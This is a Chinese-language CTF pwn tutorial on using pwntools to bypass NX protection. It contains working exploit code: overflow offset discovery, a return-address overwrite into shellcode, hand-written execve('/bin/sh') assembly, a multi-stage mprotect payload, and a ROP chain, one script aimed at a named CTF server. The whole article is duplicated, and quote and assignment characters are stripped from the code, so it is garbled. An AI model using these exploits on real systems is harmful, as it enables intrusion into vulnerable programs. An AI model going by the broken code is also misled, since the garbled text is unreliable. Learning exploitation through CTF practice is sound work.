CTF PWN实战用Python pwntools绕过NX保护执行shellcode的深度指南在CTF竞赛的PWN类题目中遇到开启了NXNo-eXecute保护的二进制程序是家常便饭。这种保护机制通过标记内存页为不可执行阻止攻击者直接在栈或堆上运行shellcode。本文将带你深入理解如何利用pwntools工具链在存在可执行内存区域的情况下巧妙绕过NX保护执行自定义shellcode。1. 理解NX保护与可执行内存区域NX保护是现代操作系统对抗缓冲区溢出攻击的主要手段之一。它通过将数据段如栈和堆标记为不可执行阻止攻击者注入的shellcode直接运行。但NX保护并非无懈可击内存权限粒度内存权限以页通常4KB为单位设置必要可执行区域程序本身需要可执行代码段如.text段动态权限修改某些函数如mprotect可以运行时修改内存权限在实战中我们常遇到以下两种可利用场景程序自身调用mprotect题目可能已经调用了mprotect修改了某些内存区域的权限存在固定可执行区域如某些CTF题目会预留可执行内存区域提示使用vmmap命令GDB插件或/proc/[pid]/maps文件可以查看程序的内存布局和权限。2. 定位可执行内存区域在开始编写exp前首先需要确定目标程序中是否存在可执行的内存区域。以下是几种常用方法2.1 静态分析寻找mprotect调用使用反汇编工具如IDA Pro或Ghidra搜索mprotect函数调用# 使用pwntools的ELF模块快速查找函数 from pwn import * elf ELF(./vulnerable) mprotect_addr elf.plt[mprotect] # 或 elf.symbols[mprotect] print(fmprotect found at: {hex(mprotect_addr)})2.2 动态调试查看内存映射在GDB中可以使用以下命令查看内存权限# 使用pwntools的gdb.debug交互 context.terminal [tmux, splitw, -h] p gdb.debug(./vulnerable, gdbscript b *main c vmmap )典型输出示例Start End Perm Name 0x0000000000400000 0x0000000000401000 r-xp /path/to/vulnerable 0x0000000000600000 0x0000000000601000 rw-p [heap] 0x00007ffff7ff9000 0x00007ffff7ffd000 rwxp [anon]2.3 关键内存区域权限对比表内存区域典型地址范围默认权限可利用性.text段0x00400000-0x00401000r-xp可执行但通常不可写栈0x7ffffffde000-0x7ffffffff000rw-p通常不可执行堆0x00600000-0x00601000rw-p通常不可执行mmap区域可变可变可能可执行3. 构建完整的攻击链3.1 确定溢出点和偏移量首先需要找到程序的溢出漏洞并计算精确的偏移# 使用cyclic模式生成测试字符串 from pwn import * context(archamd64, oslinux) p process(./vulnerable) payload cyclic(500) p.sendline(payload) p.wait() # 从core dump中获取偏移 core Corefile(./core) offset cyclic_find(core.fault_addr) print(fOffset: {offset})3.2 编写利用脚本框架基础利用脚本结构如下from pwn import * context(archamd64, oslinux, log_leveldebug) # 根据题目选择本地或远程 if args.REMOTE: p remote(ctf.example.com, 1234) else: p process(./vulnerable) # 1. 泄漏必要地址如有ASLR # 2. 准备shellcode # 3. 构建ROP链如需 # 4. 发送payload # 5. 交互3.3 处理不同架构的shellcode64位与32位shellcode的关键区别特性x86 (32位)x86_64 (64位)寄存器eax, ebx等rax, rbx等系统调用号0x80中断syscall指令参数传递栈寄存器(rdi, rsi, rdx等)典型execve调用int 0x80syscall生成架构正确的shellcode# 明确指定架构非常重要 context(archamd64) # 或 i386 shellcode asm(shellcraft.sh())4. 实战案例利用mprotect创建可执行区域假设我们发现程序中调用了mprotect修改了某内存区域权限以下是完整利用步骤4.1 确定可执行区域地址通过反汇编或动态调试找到被修改权限的内存地址# 示例发现0x4040A0被改为rwx buff_addr 0x4040A04.2 构建完整payloadfrom pwn import * context(archamd64, oslinux) p remote(node5.anna.nssctf.cn, 24146) # 生成64位shellcode shellcode asm(shellcraft.sh()) # 计算填充长度 offset 0x108 payload shellcode.ljust(offset, bA) # 用A填充到返回地址 payload p64(buff_addr) # 覆盖返回地址指向shellcode p.sendline(payload) p.interactive()4.3 常见问题排查shellcode不执行检查context是否设置了正确架构确认目标地址确实可执行检查payload是否准确覆盖了返回地址段错误(SEGFAULT)使用GDB调试确认崩溃点检查栈对齐64位要求16字节对齐连接立即关闭可能是shellcode包含空字节截断了输入使用asm(shellcraft.sh(), avoid\x00)生成无空字节shellcode5. 高级技巧与优化5.1 短小精悍的shellcode当空间有限时可以使用精简shellcode# 64位精简execve(/bin/sh) sc_64 xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f # /bin//sh push rdi push rsp pop rdi mov al, 59 # execve系统调用号 cdq syscall shellcode asm(sc_64)5.2 多阶段payload当单次溢出空间不足时可以采用多阶段攻击# 第一阶段设置可执行区域 stage1 asm( mov rdi, 0x404000 mov rsi, 0x1000 mov rdx, 7 # PROT_READ|PROT_WRITE|PROT_EXEC mov rax, 10 # mprotect系统调用号 syscall jmp rsp ) # 第二阶段发送实际shellcode p.send(stage1) p.send(asm(shellcraft.sh()))5.3 对抗现代保护机制保护机制对抗技术pwntools支持ASLR地址泄漏DynELF, ROPStack Canary覆盖绕过格式化字符串泄漏RELROGOT覆盖部分RELRO下可行PIE基址泄漏ELF.symbols偏移计算在真实CTF环境中往往需要组合多种技术。例如先用ROP链调用mprotect再执行shellcode# 示例ROP链调用mprotect rop ROP(./vulnerable) rop.call(mprotect, [0x404000, 0x1000, 7]) rop.raw(0x404000) # 跳转到shellcode payload flat({ offset: rop.chain(), 0x404000: shellcode })掌握这些技术需要不断实践和调试。建议从简单题目开始逐步挑战更复杂的保护组合。
CTF PWN实战:手把手教你用Python pwntools绕过NX保护执行shellcode
CTF PWN实战用Python pwntools绕过NX保护执行shellcode的深度指南在CTF竞赛的PWN类题目中遇到开启了NXNo-eXecute保护的二进制程序是家常便饭。这种保护机制通过标记内存页为不可执行阻止攻击者直接在栈或堆上运行shellcode。本文将带你深入理解如何利用pwntools工具链在存在可执行内存区域的情况下巧妙绕过NX保护执行自定义shellcode。1. 理解NX保护与可执行内存区域NX保护是现代操作系统对抗缓冲区溢出攻击的主要手段之一。它通过将数据段如栈和堆标记为不可执行阻止攻击者注入的shellcode直接运行。但NX保护并非无懈可击内存权限粒度内存权限以页通常4KB为单位设置必要可执行区域程序本身需要可执行代码段如.text段动态权限修改某些函数如mprotect可以运行时修改内存权限在实战中我们常遇到以下两种可利用场景程序自身调用mprotect题目可能已经调用了mprotect修改了某些内存区域的权限存在固定可执行区域如某些CTF题目会预留可执行内存区域提示使用vmmap命令GDB插件或/proc/[pid]/maps文件可以查看程序的内存布局和权限。2. 定位可执行内存区域在开始编写exp前首先需要确定目标程序中是否存在可执行的内存区域。以下是几种常用方法2.1 静态分析寻找mprotect调用使用反汇编工具如IDA Pro或Ghidra搜索mprotect函数调用# 使用pwntools的ELF模块快速查找函数 from pwn import * elf ELF(./vulnerable) mprotect_addr elf.plt[mprotect] # 或 elf.symbols[mprotect] print(fmprotect found at: {hex(mprotect_addr)})2.2 动态调试查看内存映射在GDB中可以使用以下命令查看内存权限# 使用pwntools的gdb.debug交互 context.terminal [tmux, splitw, -h] p gdb.debug(./vulnerable, gdbscript b *main c vmmap )典型输出示例Start End Perm Name 0x0000000000400000 0x0000000000401000 r-xp /path/to/vulnerable 0x0000000000600000 0x0000000000601000 rw-p [heap] 0x00007ffff7ff9000 0x00007ffff7ffd000 rwxp [anon]2.3 关键内存区域权限对比表内存区域典型地址范围默认权限可利用性.text段0x00400000-0x00401000r-xp可执行但通常不可写栈0x7ffffffde000-0x7ffffffff000rw-p通常不可执行堆0x00600000-0x00601000rw-p通常不可执行mmap区域可变可变可能可执行3. 构建完整的攻击链3.1 确定溢出点和偏移量首先需要找到程序的溢出漏洞并计算精确的偏移# 使用cyclic模式生成测试字符串 from pwn import * context(archamd64, oslinux) p process(./vulnerable) payload cyclic(500) p.sendline(payload) p.wait() # 从core dump中获取偏移 core Corefile(./core) offset cyclic_find(core.fault_addr) print(fOffset: {offset})3.2 编写利用脚本框架基础利用脚本结构如下from pwn import * context(archamd64, oslinux, log_leveldebug) # 根据题目选择本地或远程 if args.REMOTE: p remote(ctf.example.com, 1234) else: p process(./vulnerable) # 1. 泄漏必要地址如有ASLR # 2. 准备shellcode # 3. 构建ROP链如需 # 4. 发送payload # 5. 交互3.3 处理不同架构的shellcode64位与32位shellcode的关键区别特性x86 (32位)x86_64 (64位)寄存器eax, ebx等rax, rbx等系统调用号0x80中断syscall指令参数传递栈寄存器(rdi, rsi, rdx等)典型execve调用int 0x80syscall生成架构正确的shellcode# 明确指定架构非常重要 context(archamd64) # 或 i386 shellcode asm(shellcraft.sh())4. 实战案例利用mprotect创建可执行区域假设我们发现程序中调用了mprotect修改了某内存区域权限以下是完整利用步骤4.1 确定可执行区域地址通过反汇编或动态调试找到被修改权限的内存地址# 示例发现0x4040A0被改为rwx buff_addr 0x4040A04.2 构建完整payloadfrom pwn import * context(archamd64, oslinux) p remote(node5.anna.nssctf.cn, 24146) # 生成64位shellcode shellcode asm(shellcraft.sh()) # 计算填充长度 offset 0x108 payload shellcode.ljust(offset, bA) # 用A填充到返回地址 payload p64(buff_addr) # 覆盖返回地址指向shellcode p.sendline(payload) p.interactive()4.3 常见问题排查shellcode不执行检查context是否设置了正确架构确认目标地址确实可执行检查payload是否准确覆盖了返回地址段错误(SEGFAULT)使用GDB调试确认崩溃点检查栈对齐64位要求16字节对齐连接立即关闭可能是shellcode包含空字节截断了输入使用asm(shellcraft.sh(), avoid\x00)生成无空字节shellcode5. 高级技巧与优化5.1 短小精悍的shellcode当空间有限时可以使用精简shellcode# 64位精简execve(/bin/sh) sc_64 xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f # /bin//sh push rdi push rsp pop rdi mov al, 59 # execve系统调用号 cdq syscall shellcode asm(sc_64)5.2 多阶段payload当单次溢出空间不足时可以采用多阶段攻击# 第一阶段设置可执行区域 stage1 asm( mov rdi, 0x404000 mov rsi, 0x1000 mov rdx, 7 # PROT_READ|PROT_WRITE|PROT_EXEC mov rax, 10 # mprotect系统调用号 syscall jmp rsp ) # 第二阶段发送实际shellcode p.send(stage1) p.send(asm(shellcraft.sh()))5.3 对抗现代保护机制保护机制对抗技术pwntools支持ASLR地址泄漏DynELF, ROPStack Canary覆盖绕过格式化字符串泄漏RELROGOT覆盖部分RELRO下可行PIE基址泄漏ELF.symbols偏移计算在真实CTF环境中往往需要组合多种技术。例如先用ROP链调用mprotect再执行shellcode# 示例ROP链调用mprotect rop ROP(./vulnerable) rop.call(mprotect, [0x404000, 0x1000, 7]) rop.raw(0x404000) # 跳转到shellcode payload flat({ offset: rop.chain(), 0x404000: shellcode })掌握这些技术需要不断实践和调试。建议从简单题目开始逐步挑战更复杂的保护组合。